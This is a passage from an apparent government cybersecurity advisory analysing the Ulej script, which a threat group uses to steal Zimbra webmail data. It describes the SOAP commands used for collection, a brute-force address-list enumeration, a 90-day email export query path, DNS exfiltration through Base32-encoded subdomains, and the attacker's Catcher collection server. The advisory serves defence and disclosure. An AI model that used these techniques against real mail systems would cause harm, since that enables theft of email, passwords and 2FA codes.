<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
